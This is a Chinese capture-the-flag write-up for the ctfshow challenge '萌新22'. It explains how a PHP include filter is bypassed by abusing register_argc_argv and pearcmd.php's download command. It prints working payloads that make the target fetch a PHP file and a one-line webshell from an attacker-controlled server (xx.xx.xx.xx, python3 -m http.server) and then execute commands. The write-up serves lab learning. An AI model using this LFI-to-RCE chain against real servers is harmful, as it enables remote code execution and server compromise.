ctfshow 萌新22 （类似级客巅峰web4）

在之前ctfshow平台的萌新22，大家都认为是无解的，题目也介绍了"还能搞，阿呆表示将直播倒立放水"。但是在级客巅峰结束的那天晚上，群里的师傅介绍说，如果修改了php.ini里面的配置(register_argc_argv)可以做出来。最后是真的做出来了。
使用阿呆~~~？

下面是自己的思考，感谢Guoke师傅和ha1c9on师傅的帮助

一. 源代码

<?php
if(isset($_GET['c'])){
       $c=$_GET['c'];
       if(!preg_match("/\:|\/|\\\/i",$c)){
               include($c.".php");
       }
}else{
        highlight_file(__FILE__);
}
?> 

二. register_argc_argv的介绍

通过可变信息通过GET方法是类似于参数传递给可执行文件。许多语言处理等方面argc和argv参数。 argc是参数计数，并，argv是索引数组，包含的参数。如果您想声明变量$argc和$argv和模仿这种功能，使register_argc_argv。
$argc变量是⽤于记录数组的⼤⼩
$argv变量是⽤于记录输⼊的参数。
这里借p神的介绍
经过简单测试，发现⽼版本（测试版本为5.2.17）默认为 On，新版本（测试版本为 5.4.45、5.5.9、
7.3.4）默认为 Off
奇淫技巧
这个是自己看p神的知识星球知道的。
我们是可以通过$_GET或者$_POST的⽅式来操控
$_SERVER['argv']的值的，但是如果测试可以发现，如果直接传⼊值，⽆论多少个参数，$argc的
个数始终是 1

#测试代码
<?php
error_reporting(0);
$a=$_SERVER['argv'];
var_dump($a);
?>

而我们可以通过+来进行分隔符。
(这里不解释，需要知道的可以去p神的知识星球了解)

拓展：这个小trick,自己前几天出个一个题，如果有兴趣的可以去ctfshow平台的web入门126去试一试。

三. PEAR的介绍

如何熟悉PEAR的使用？
在linux下面安装直接输入命令apt install php-pear

四. 解题

参考链接
这个题只需要利用文章里面的第一个方法：
下载一个档案文件(php文件)并使用lfi
而这个下载的命令是pearcmd.php里面有的
在pearcmd.php目录下面输入php pearcmd.php -help

而正好，这个题开启了register_argc_argv可以通过+来分隔命令，先进行包含pearcmd.php然后在通过+分隔符来执行download命令

方法一

这个方法是Guoke师傅告诉我的,可以在我们的vps上面创建一个eval.php里面内容是

<?php
echo "<?php system(whoami);?>";
?>

然后在题目上传值
?c=pearcmd&+download+http:/xx.xx.xx.xx/eval.php
最后访问eval.php就执行成功

方法二

是ha1c9on师傅告诉我的，可以在~目录下创建一个shell.php 内容就是一句话木马.
然后通过python3开一个http服务 python3 -m http.server 81
访问的时候就是~目录下面的文件
当我们控制目标服务器去访问eval.php的时候会自动下载到目标的服务器上面

payload:?c=pearcmd&+download+http://xx.xx.xx.xx:81/shell.php

然后访问并执行命令
获得flag

总结：

方法一：
实现的原因是下载的过程会执行php代码。这里自己测试了一下如果，利用方法一，文件内容是
<?php system(whoami)?>,然后访问这个文件会输出www-data。但是文件内容也是www-data。所以就验证了我的解释。
方法二：
实现的原因是我们通过python3开一个服务，而php文件的路径不在网站根目录下面就不会当php解析就会自动下载。

如果，文章也不足的地方希望师傅们指出。共同进步。